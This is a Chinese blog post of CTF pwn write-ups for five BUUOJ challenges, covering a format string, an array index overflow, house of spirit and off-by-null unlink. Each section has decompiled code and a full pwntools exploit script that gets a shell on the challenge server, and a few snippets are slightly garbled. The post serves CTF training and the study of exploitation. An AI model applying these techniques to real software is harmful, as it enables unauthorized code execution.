

# buuoj Pwn writeup 146-150

原创

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## 146 SWPUCTF\_2019\_login

检查一下保护

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	Symbols	FORTIFY Fortified	Fortifiable FILE
Partial RELRO	No canary found	NX enabled	No PIE	No RPATH	No RUNPATH	No Symbols	No 0	2 ./146

RELRO没有都开, 能够劫持got表。

程序漏洞很简单, 就是一个格式化漏洞。

```
int sub_804854B()
{
    puts("Please input your password: ");
    while ( 1 )
    {
        s1[read(0, s1, 0x32u)] = 0;
        if ( !strcmp(s1, "wllmllw", 8u) )
            break;
        printf("This is the wrong password: ");
        printf(s1);
        puts("Try again!");
    }
    return puts("Login successfully! Have fun!");
}
```

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这是栈上的格式化漏洞, 要注意的就是, 我们这

个题只能两个字节去覆盖, 不能partial write。

我们需要利用三层结构, 将栈上的两个地址改成got表的地址, 可以是strcmp, 也可以是printf。

但是因为我们必须要一次性都改了, 不能两个字节两个字节那样写, 所以我们需要将栈上两个地方的地址, 分别改成got跟got+2, 必须一起改是因为无论是printf还是strcmp, 都需要反复使用, 当改了两个字节的的时候, 第二次改就会出问题, 那么就是我们这道题的关键。

我们采用的方法就是上面说的, 通过三个指针, 反复修改, 将栈上两个地址分别改成got跟got+2, 然后最后一次同时修改, 劫持got表。

```
from pwn import*
```

```

context.log_level = "debug"

r = remote("node3.buuoj.cn", 25554)
#r = process("./146")
elf = ELF("./146")
libc = ELF("./32/libc-2.27.so")

r.sendlineafter("Please input your name: ", "Yongibaoi")
r.sendlineafter("Please input your password: ", "%6$p%15$p")

r.recvuntil('0x')
stack_addr = int(r.recvuntil('0x')[:-2],16)
addr1 = int(r.recvuntil('\n')[:-1],16)
stack2 = stack_addr + 0x10
libc_base = addr1 - 0x18e91
strncmp_got = elf.got['strncmp']
system_addr = libc_base + libc.sym['system']
print "strncmp_addr = " + str(hex(strncmp_got))

print "libc_base = " + str(hex(libc_base))

#修改偏移14地方为strncmp_got
r.recvuntil("Try again!\n")
off = strncmp_got & 0xffff
r.sendline("%"+str(off)+"c%10$hn")
r.recvuntil("Try again!\n")

off1 = stack2 & 0xffff
print hex(off1)
r.sendline("%"+str(off1 + 2)+"c%6$hn")
r.recvuntil("Try again!\n")

off2 = (strncmp_got >> 16) & 0xffff
r.sendline("%"+str(off2)+"c%10$hn")
r.recvuntil("Try again!\n")

#修改偏移13地方为strncmp_got + 2
r.sendline("%"+str(off1 - 4)+"c%6$hn")
r.recvuntil("Try again!\n")

off = (strncmp_got + 2) & 0xffff
r.sendline("%"+str(off)+"c%10$hn")
r.recvuntil("Try again!\n")

r.sendline("%"+str(off1 - 2)+"c%6$hn")
r.recvuntil("Try again!\n")

off2 = ((strncmp_got + 2) >> 16) & 0xffff
r.sendline("%"+str(off2)+"c%10$hn")
r.recvuntil("Try again!\n")

print hex(system_addr)

#劫持got表
low = system_addr & 0xffff
high = (system_addr >> 16) & 0xffff
payload = "%"+str(low)+"c%14$hn" + "%"+str(high - low)+"c%13$hn"
r.sendline(payload)
r.recvuntil("Try again!\n")

```

```
recvancii( my again( m )
r.sendline("/bin/sh")
r.interactive()
```

## 147 qctf2018\_stack2

检查一下保护

```
RELRO          STACK CANARY  NX             PIE            RPATH          RUNPATH        Symbols        FORTIFY Fortified  Fortifiable  FILE
Partial RELRO  Canary found   NX enabled     No PIE         No RPATH       No RUNPATH     77 Symbols    Yes          0              2             ./147
```

```
int hackhere()
{
    return system("/bin/bash");
}
```

进来首先给了我们后门函数。

分析一下主程序。

```
puts("*****");
puts("*                An easy calc                *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256)                *");
puts("*****");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
{
    __isoc99_scanf("%d", &v7);
    v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
    while ( 1 )
    {
        while ( 1 )
        {
```

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计算平均数的一个程序，最多输入100个数，计算平均数。

```
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit")
```

里面又有五个功能。



```

var_A8= qword ptr -0A8h
var_A0= qword ptr -0A0h
var_90= dword ptr -90h
var_8C= dword ptr -8Ch
var_88= dword ptr -88h
var_84= dword ptr -84h
var_80= dword ptr -80h
var_7C= dword ptr -7Ch
var_78= dword ptr -78h
var_74= dword ptr -74h
var_70= byte ptr -70h
var_C= dword ptr -0Ch
var_4= dword ptr -4
argc= dword ptr 8
argv= dword ptr 0Ch
envp= dword ptr 10h

```

要注意的是按照经验来讲，或者实际去调试，这个地方最后的偏移要加0x10，本来是0x74，但是要加成0x84，可以看汇编。

exp

```

from pwn import*

r = remote("node3.buuoj.cn", "27441")

context_level = "debug"

backdoor = [0x9b, 0x85, 0x04, 0x08]
offset = 0x84

r.sendlineafter("How many numbers you have:", "0")

for i in range(4):
    r.sendlineafter("5. exit\n", "3")
    r.sendlineafter("which number to change:\n", str(0x84 + i))
    r.sendlineafter("new number:\n", str(backdoor[i]))

r.sendlineafter("5. exit\n", "5")

r.interactive()

```

## 148 lctf2016\_pwn200

检查一下保护

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	Symbols	FORTIFY	Fortified	Fortifiable	Fl
Partial RELRO	No canary found	NX disabled	No PIE	No RPATH	No RUNPATH	No Symbols	No	0	3	./148

保护好多没开，NX都没开，要注意利用。

```

puts("who are u?");
for ( i = 0LL; i <= 47; ++i )
{
    read(0, &v2[i], 1uLL);
    if ( v2[i] == 10 )
    {
        v2[i] = 0;
        break;
    }
}
printf("%s, welcome to ISCC~ \n", v2);
puts("give me your id ~~?");

```

输入名字输入ID

```

__int64 sub_400A8E()
{
    __int64 i; // [rsp+10h] [rbp-40h]
    char v2[48]; // [rsp+20h] [rbp-30h] BYREF

```

这个地方有问题，我们在把v2填满的时候，因为没有'\x00'的截断，我们就可以泄露ebp的地址。

```

int sub_4007DF()
{
    int result; // eax
    char nptr[8]; // [rsp+0h] [rbp-10h] BYREF
    int v2; // [rsp+8h] [rbp-8h]
    int i; // [rsp+Ch] [rbp-4h]

    v2 = 0;
    for ( i = 0; i <= 3; ++i )
    {
        read(0, &nptr[i], 1uLL);
        if ( nptr[i] == 10 )
        {
            nptr[i] = 0;
            break;
        }
        if ( nptr[i] > 0x39 || nptr[i] <= 47 )
        {
            printf("0x%x ", (unsigned int)nptr[i]);
            return 0;
        }
    }
    v2 = atoi(nptr);
    if ( v2 >= 0 )
        result = atoi(nptr);
    else
        result = 0;
    return result;
}

```

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id有问题会返回一个栈上的地址。

```
int64 sub_400A29()
{
    char buf[56]; // [rsp+0h] [rbp-40h] BYREF
    char *dest; // [rsp+38h] [rbp-8h]

    dest = (char *)malloc(0x40uLL);
    puts("give me money~");
    read(0, buf, 0x40uLL);
    strcpy(dest, buf);
    ptr = dest;
    return sub_4009C4();
}
```

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掏钱，这个地方buf可以覆盖ptr指针。

```
{
    return printf("\n=====EASY HOTEL=====\n1. check in\n2. check out\n3. goodbye\nyour choice : ");
}
```

最后发现是一个小旅馆。

```

1 int check_in()
2 {
3     int nbytes; // [rsp+Ch] [rbp-4h]
4
5     if ( ptr )
6         return puts("already check in");
7     puts("how long?");
8     nbytes = sub_4007DF();
9     if ( nbytes <= 0 || nbytes > 128 )
10        return puts("invalid length");
11    ptr = malloc(nbytes);
12    printf("give me more money : ");
13    printf("\n%d\n", (unsigned int)nbytes);
14    read(0, ptr, (unsigned int)nbytes);
15    return puts("in~"); https://blog.csdn.net/yongbaoli
16 }

```

```

void check_out()
{
    if ( ptr )
    {
        puts("out~");
        free(ptr);
        ptr = 0LL;
    }
    else
    {
        puts("havn't check in");
    }
} https://blog.csdn.net/yongbaoli

```

我们要怎么去利用这个这两个漏洞。

首先我们可以拿到栈地址，通过覆盖栈的指针，我们可以做到free任意地址chunk，那么这是经典漏洞 house of spirit。关键就是我们怎样去设置我们malloc的chunk。

我们这里在栈上写上shellcode，malloc栈上的chunk，返回地址填成shellcode的地址就好了。



```

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

r = remote("node3.buuoj.cn", "29765")

elf = ELF('./148')
free_got = elf.got["free"]

shellcode = asm(shellcraft.sh())
r.sendafter('u?\n', shellcode+"a"*(48-len(shellcode)))

ebp = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

offset = -0x50
shellcode_addr = ebp + offset
r.sendline('\0')

r.recvuntil('\n')

payload = p64(shellcode_addr)
r.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got))
r.recvuntil('choice :')
r.sendline('2')
r.interactive()

```

## 149 sctf\_2019\_easy\_heap

检查一下保护

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	Symbols	FORTIFY	Fortified	Fortifiable	FILE
Full RELRO	Canary found	NX enabled	PIE enabled	No RPATH	No RUNPATH	No Symbols	Yes	0	3	./149

保护全开。

```

v4 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(&unk_202060, 0, 0x80uLL);
fd = open("/dev/urandom", 0);
buf = 0LL;
read(fd, &buf, 5uLL);
buf &= 0xFFFFFFFF000uLL;
close(fd);
v3 = mmap((void *)buf, 0x1000uLL, 7, 34, -1, 0LL);
printf("Mmap: %p\n", v3);
unk_202040 = 0;
sub_CBD();
return __readfsqword(0x28u) ^ v4;

```

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先读了一个随机数，然后申请了一

块内存，权限是7，是可读可写可执行。  
还会输出这个页的地址。

0x2ad2943000	0x2ad2944000	rwxp	1000	0	
0x55555554000	0x55555556000	r-xp	2000	0	/home/wuangwuang/Desktop/149
0x555555755000	0x555555756000	r--p	1000	1000	/home/wuangwuang/Desktop/149
0x555555756000	0x555555757000	rw-p	1000	2000	/home/wuangwuang/Desktop/149
0x7ffff7def000	0x7ffff7e11000	r--p	22000	0	/usr/lib/x86_64-linux-gnu/libc-2.28.so
0x7ffff7e11000	0x7ffff7f59000	r-xp	148000	22000	/usr/lib/x86_64-linux-gnu/libc-2.28.so
0x7ffff7f59000	0x7ffff7fa5000	r--p	4c000	16a000	/usr/lib/x86_64-linux-gnu/libc-2.28.so
0x7ffff7fa5000	0x7ffff7fa6000	--p	1000	1b6000	/usr/lib/x86_64-linux-gnu/libc-2.28.so
0x7ffff7fa6000	0x7ffff7faa000	r--p	4000	1b6000	/usr/lib/x86_64-linux-gnu/libc-2.28.so
0x7ffff7faa000	0x7ffff7fac000	rw-p	2000	1ba000	/usr/lib/x86_64-linux-gnu/libc-2.28.so
0x7ffff7fac000	0x7ffff7fb2000	rw-p	6000	0	
0x7ffff7fd1000	0x7ffff7fd4000	r--p	3000	0	[vvar]
0x7ffff7fd4000	0x7ffff7fd5000	r-xp	1000	0	[vdso]
0x7ffff7fd5000	0x7ffff7fd6000	r--p	1000	0	/usr/lib/x86_64-linux-gnu/ld-2.28.so
0x7ffff7fd6000	0x7ffff7ff4000	r-xp	1e000	1000	/usr/lib/x86_64-linux-gnu/ld-2.28.so
0x7ffff7ff4000	0x7ffff7ffc000	r--p	8000	1f000	/usr/lib/x86_64-linux-gnu/ld-2.28.so
0x7ffff7ffc000	0x7ffff7ffd000	r--p	1000	26000	/usr/lib/x86_64-linux-gnu/ld-2.28.so
0x7ffff7ffd000	0x7ffff7ffe000	rw-p	1000	27000	/usr/lib/x86_64-linux-gnu/ld-2.28.so
0x7ffff7ffe000	0x7ffff7fff000	rw-p	1000	0	
0x7ffff7ffdc000	0x7ffff7fff000	rw-p	23000	0	[stack]
0xffffffff600000	0xffffffff601000	--xp	1000	0	[vsyscall]

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我们可以看到红线处确实有个mmap的东西，权限rwxp都有。  
一定可以利用。

alloc

```
unsigned int i; // [rsp+Ch] [rbp-14h]
void *v2; // [rsp+10h] [rbp-10h]
unsigned __int64 size; // [rsp+18h] [rbp-8h]

for ( i = 0; qword_202060[2 * i + 1]; ++i )
;
if ( i > 0xF )
    return puts("No more space.");
printf("Size: ");
size = sub_EE5();
if ( size > 0x1000 )
    return puts("Invalid size!");
v2 = malloc(size);
if ( !v2 )
{
    perror("Memory allocate failed!");
    exit(-1);
}
qword_202060[2 * i + 1] = v2;
qword_202060[2 * i] = size;
++unk_202040;
return printf("chunk at [%d] Pointer Address %p\n", i, &qword_202060[2 * i + 1]);
}
```

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结构很清晰，最多申请16个chunk，申请的地址跟大小会被放在bss上面，保护开了pie，但是这个地方会泄露bss地址出来，然后pie就白开。

delete

```
{
_DWORD *v0; // rax
unsigned int v2; // [rsp+Ch] [rbp-4h]

printf("Index: ");
v2 = sub_EE5();
if ( v2 <= 0xF && addr[2 * v2 + 1] )
{
    free((void *)addr[2 * v2 + 1]);
    addr[2 * v2 + 1] = 0LL;
    addr[2 * v2] = 0LL;
    v0 = count;
    --count[0];
}
else
{
    LODWORD(v0) = puts("Invalid index.");
}
return (int)v0;
}
```

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count那个计数好像也没什么用。

fill

```
int fill()
{
    unsigned int v1; // [rsp+4h] [rbp-Ch]

    printf("Index: ");
    v1 = sub_EE5();
    if ( v1 > 0xF || !addr[2 * v1 + 1] )
        return puts("Invalid index.");
    printf("Content: ");
    return sub_E2D(addr[2 * v1 + 1], addr[2 * v1]);
}
```

```
unsigned __int64 __fastcall sub_E2D(__int64 a1, unsigned __int64 a2)
{
    char buf; // [rsp+13h] [rbp-Dh] BYREF
    int i; // [rsp+14h] [rbp-Ch]
    unsigned __int64 v5; // [rsp+18h] [rbp-8h]

    v5 = __readfsqword(0x28u);
    for ( i = 0; i < a2; ++i )
    {
        if ( read(0, &buf, 1uLL) <= 0 )
        {
            perror("Read failed!\n");
            exit(-1);
        }
        if ( buf == 10 )
            break;
        *(_BYTE *)(a1 + i) = buf;
    }
    if ( i == a2 )
        *(_BYTE *)(i + a1) = 0;
    return __readfsqword(0x28u) ^ v5;
}
```

free里面没啥事就好好研究研究写入，发现有off by null。

off by null 加上一个mmap的可读可写可执行内存，可以把通过off by null 制造unlink，然后写shellcode，然后malloc跳过去。现在的问题是说我们怎么能够得到malloc\_hook的地址。

我们利用off by one制造好的overlap，来讲arena+0x96的值写在被overlap的chunk种，之后我们利用他的值跟malloc\_hook只差一个0x30，只要写一个字节，把他最后一个字节变成0x30就可以了，然后我们申请到malloc\_hook的chunk，改成shellcode地方。

```
unsortedbin
all: 0x557de71d8250 -> 0x7f9fa8db0ca0 (main_arena+96) <- 0x557de71d8250
smallbins
empty
largebins
empty
pwndbg> p &__malloc_hook
$6 = (void *(*)(size_t, const void *)) 0x7f9fa8db0c30 <__malloc_hook>
```

off by null的思路我们有两种

第一种是申请ABCD, free A, edit C, overlap B, 然后利用

第二种是在A里面首先伪造unlink, 或者有uaf也行, 然后unlink控制bss, 再做利用。

exp

```
from pwn import*

context.log_level = "debug"
context.arch = "amd64"

#r = process("./149")
r = remote("node3.buuoj.cn", "25174")

elf = ELF('./149')
libc = ELF("./64/libc-2.27.so")

def alloc(size):
    r.sendlineafter(">> ", "1")
    r.sendlineafter("Size: ", str(size))

def delete(index):
    r.sendlineafter(">> ", "2")
    r.sendlineafter("Index: ", str(index))

def fill(index, content):
    r.sendlineafter(">> ", "3")
    r.sendlineafter("Index: ", str(index))
    r.sendlineafter("Content: ", content)

r.recvuntil("Mmap: 0x")
mmap_addr = int(r.recv(10),16)

print hex(mmap_addr)

alloc(0x38) #0
r.recvuntil("0x")
bss_addr = int(r.recv(12), 16)

print hex(bss_addr)

alloc(0x4f8) #1
alloc(0x20) #2
payload1 = p64(0) + p64(0x21)
payload1 += p64(bss_addr - 0x18) + p64(bss_addr - 0x10)
payload1 += p64(0x20) + p64(0) + p64(0x30)
fill(0, payload1)

delete(1)

#上面这一部分做的是一个unlink的效果

payload2 = p64(0) * 2 + p64(0x550) + p64(bss_addr + 0x10) + p64(0x550) + p64(mmap_addr)
fill(0, payload2)
fill(1, asm(shellcraft.sh()))

#写入shellcode
```

```

payload3 = p64(bss_addr + 0x28) + p64(0x20) + p64(0x491) + 'a' * 0x488
payload3 += p64(0x21) + 'a' * 0x18 + p64(0x21)

fill(0, payload3)
delete(1)
# 伪造chunk 并且放入unsorted链, 这样就会有一个地址写在bss上
payload4 = 'a' * 0x18 + p64(0x20) + '\x30'
fill(0, payload4)
# 讲那个地址修改成malloc_hook

fill(3, p64(mmap_addr))
# malloc_hook 里面写入mmap地址
alloc(0x20)
# get shell
r.interactive()

```

## 150 ciscn\_2019\_s\_1

检查一下保护

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	Symbols	FORTIFY	Fortified	Fortifiable	FILE
Full RELRO	Canary Found	NX enabled	No PIE	No RPATH	No RUNPATH	87 Symbols	Yes	0	4	./150

malloc

```

signed __int64 malloc_0()
{
    int v1; // [rsp+0h] [rbp-10h]
    int v2; // [rsp+4h] [rbp-Ch]
    unsigned __int64 v3; // [rsp+8h] [rbp-8h]

    v3 = __readfsqword(0x28u);
    puts("index:");
    v1 = read_int();
    if ( v1 < 0 || v1 > 32 || *((_QWORD *)&heap + v1) )
        exit(0);
    puts("size:");
    v2 = read_int();
    if ( v2 <= 0x7F || v2 > 0x100 )
        exit(0);
    *((_QWORD *)&heap + v1) = malloc(v2);
    len[v1] = v2;
    printf("gift: %llx\n", *((_QWORD *)&heap + v1));
    puts("content:");
    read(0, *((void **)&heap + v1), v2);
    return __readfsqword(0x28u) ^ v3;
}

```

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申请的大小有限制，会直接给出申请的chunk的地址。

free

```
2|{
3|  int v1; // [rsp+4h] [rbp-Ch]
4|  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
5|
6|  v2 = __readfsqword(0x28u);
7|  puts("index:");
8|  v1 = read_int();
9|  if ( v1 < 0 || v1 > 32 || !*((_QWORD *)&heap + v1) )
0|    exit(0);
1|  free(*(void **)&heap + v1);
2|  *((_QWORD *)&heap + v1) = 0LL;
3|  len[v1] = 0;
4|  return __readfsqword(0x28u) ^ v2;
5|}
```

<https://blog.csdn.net/yongbaoii>

清理的很干净。

edit

```
unsigned __int64 edit()
{
  int v1; // [rsp+Ch] [rbp-14h]
  _BYTE *v2; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( key1 == 2 )
    exit(0);
  puts("index:");
  v1 = read_int();
  if ( v1 < 0 || v1 > 32 || !heap[v1] )
    exit(0);
  puts("content:");
  v2 = (_BYTE *)heap[v1];
  v2[read(0, v2, (int)len[v1])] = 0;
  ++key1;
  return __readfsqword(0x28u) ^ v3;
}
```

<https://blog.csdn.net/yongbaoii>

通过key限制只能编辑两次，会画蛇添足有一个off by null漏洞。



show

```
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( key2 )
  {
    puts("index:");
    v1 = read_int();
    if ( v1 < 0 || v1 > 32 || !heap[v1] )
      exit(0);
    puts((const char *)heap[v1]);
  }
  else
  {
    puts("only admin can use");
  }
  return __readfsqword(0x28u) ^ v2;
}
```

<https://blog.csdn.net/yongbaoli>

必须先把那个地方劫持掉，key2那里改掉，才能show的出来。

off by null思路很清楚，就像上面那个一样，这里因为我们要控制bss，所以我们还是选择通过off by null做一个unlink，控制bss，在bss中伪造一个chunk，free掉，然后申请回来，用于修改key2.然后泄露地址，最后one\_gadget一套带走。

我们想要通过unlink来修改key，因为只能edit两次，所以我们平常做好unlink的收已经edit两次了，没机会编辑key，所以我们想着让最后一个地址做unlink，然后尝试铜鼓第二次edit覆盖过去。

要注意最后一个chunk的len会覆盖第一个chunk地址，所以free的时候从序号1开始free。

```
pwndbg> x/20gx 0x6020e0
0x6020e0 <heap>:      0x00000000000000f8      0x0000000000153a360
0x6020f0 <heap+16>:   0x0000000000153a460   0x0000000000153a560
0x602100 <heap+32>:   0x0000000000153a660   0x0000000000153a760
0x602110 <heap+48>:   0x0000000000153a860   0x0000000000153aa60
0x602120 <heap+64>:   0x0000000000153ab60   0x0000000000000000
0x602130 <heap+80>:   0x0000000000000000   0x0000000000000000
0x602140 <heap+96>:   0x0000000000000000   0x0000000000000000
0x602150 <heap+112>:  0x0000000000000000   0x0000000000000000
0x602160 <heap+128>:  0x0000000000000000   0x0000000000000000
0x602170 <heap+144>:  0x0000000000000000   0x0000000000000000
https://blog.csdn.net/yongbaonii
```

大小是够的，就是可以通过最后一个chunk来覆盖key，效果如下图。

```
x6021a0 <heap+192>:  0x0000000000000000   0x0000000000000000
x6021b0 <heap+208>:  0x0000000000000000   0x0000000000000000
x6021c0 <heap+224>:  0x0000000000000000   0x0000000000601fa0
x6021d0 <heap+240>:  0x00000000006021c8   0x00000000006021c8
x6021e0 <pro>: 0x00000000006021e0   0x0000000000000000
x6021f0 <pro+16>:    0x0000000000000000   0x0000000000000000
x602200 <pro+32>:    0x0000000000000000   0x0000000000000000
x602210 <pro+48>:    0x0000000000000000   0x0000000000000000
x602220 <pro+64>:    0x0000000000000000   0x0000000000000000
x602230 <pro+80>:    0x0000000000000000   0x0000000000000000
x602240 <pro+96>:    0x0000000000000000   0x0000000000000000
x602250 <pro+112>:   0x0000000000000000   0x0000000000000000
x602260 <pro+128>:   0x0000000000000000   0x0000000000000000
x602270 <pro+144>:   0x0000000000000000   0x0000000000000000
x602280 <pro+160>:   0x0000000000000000   0x0000000000000000
x602290 <pro+176>:   0x0000000000000000   0x0000000000000000
x6022a0 <pro+192>:   0x0000000000000000   0x0000000000000000
x6022b0 <pro+208>:   0x0000000000000000   0x0000000b00000001
x6022c0:            0x0000000000000000   0x0000000000000000
https://blog.csdn.net/yongbaonii
```

接下来我们需要泄露libc的地址，泄露地址可以有很多种，以前的话我们仅仅是通过overlap来邪路arena地址，但是我们也可以通过got表来泄露地址。

```
pwndbg> tele 0x0000000000601fa0
00:0000 0x601fa0 (__GLOBAL_OFFSET_TABLE_+24) -> 0x7fc91bae59c0 (free)  ← push r15
01:0008 0x601fa8 (__GLOBAL_OFFSET_TABLE_+32) -> 0x7fc91bace30 (puts) ← push r13
02:0010 0x601fb0 (__GLOBAL_OFFSET_TABLE_+40) -> 0x7fc91bb82e30 (__stack_chk_fail) ← lea rsi, [rip + 0x81d8f]
03:0018 0x601fb8 (__GLOBAL_OFFSET_TABLE_+48) -> 0x7fc91bab2f00 (printf) ← sub rsp, 0xd8
04:0020 0x601fc0 (__GLOBAL_OFFSET_TABLE_+56) -> 0x7fc91bb328a0 (alarm) ← mov eax, 0x25
05:0028 0x601fc8 (__GLOBAL_OFFSET_TABLE_+64) -> 0x7fc91bb5e180 (read) ← lea rax, [rip + 0x2e0771]
06:0030 0x601fd0 (__GLOBAL_OFFSET_TABLE_+72) -> 0x7fc91ba6fab0 (__libc_start_main) ← push r13
07:0038 0x601fd8 (__GLOBAL_OFFSET_TABLE_+80) ← 0x0
```

然后就是泄露地址，修改free\_hook，就好了。

```
exp
# -*- coding: utf-8 -*-
from pwn import*

context.log_level = "debug"
context.arch = "amd64"
```

```

#r = process("./150")
r = remote("node3.buuoj.cn", "26705")

elf = ELF('./150')
libc = ELF("./64/libc-2.27.so")

def malloc(index, size, content):
    r.sendlineafter("4.show\n", "1")
    r.sendlineafter("index:\n", str(index))
    r.sendlineafter("size:\n", str(size))
    r.sendafter("content:\n", content) #因为题目原因程序不处理回车，所以直接send，不发回车了。

def free(index):
    r.sendlineafter("4.show\n", "2")
    r.sendlineafter("index:\n", str(index))

def edit(index, content):
    r.sendlineafter("4.show\n", "3")
    r.sendlineafter("index:\n", str(index))
    r.sendafter("content:\n", content) #这个地方也要用send。

def show(index):
    r.sendlineafter("4.show\n", "4")
    r.sendlineafter("index:\n", str(index))

ptr_addr = 0x6021e0
key2_addr = 0x6022b8
free_got = elf.got['free']

for i in xrange(7):
    malloc(i,0xf8,str(i)*8)

malloc(7,0xf8,'7'*8)
malloc(32,0xf8,'aaaa')
malloc(8,0xf8,'8'*8)
malloc(9,0xf8,"/bin/sh\x00")

addr = 0x6020e0+8*32
payload = p64(0)+p64(0xf1)
payload += p64(addr-0x18)+p64(addr-0x10)
payload = payload.ljust(0xf0,"\x00")
payload += p64(0xf0)

for i in range(1,8):
    free(i)

edit(32,payload)
free(8)

payload = p64(free_got)
payload += p64(ptr_addr-0x18)+p64(ptr_addr-0x18)
payload += p64(ptr_addr)
payload = payload.ljust(0xf0,'\x00')
payload += "\x01\x00\x00\x00\x00\x05\x00\x00\x00"
edit(32,payload)

#gdb.attach(r)
#input()

```

```
show(29)
libc_base = u64(r.recvuntil("\x7f")[-6:].ljust(8, "\x00")) - libc.sym["free"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
print hex(libc_base)

edit(32, p64(free_hook))
edit(32, p64(system))
free(9)

r.interactive()
```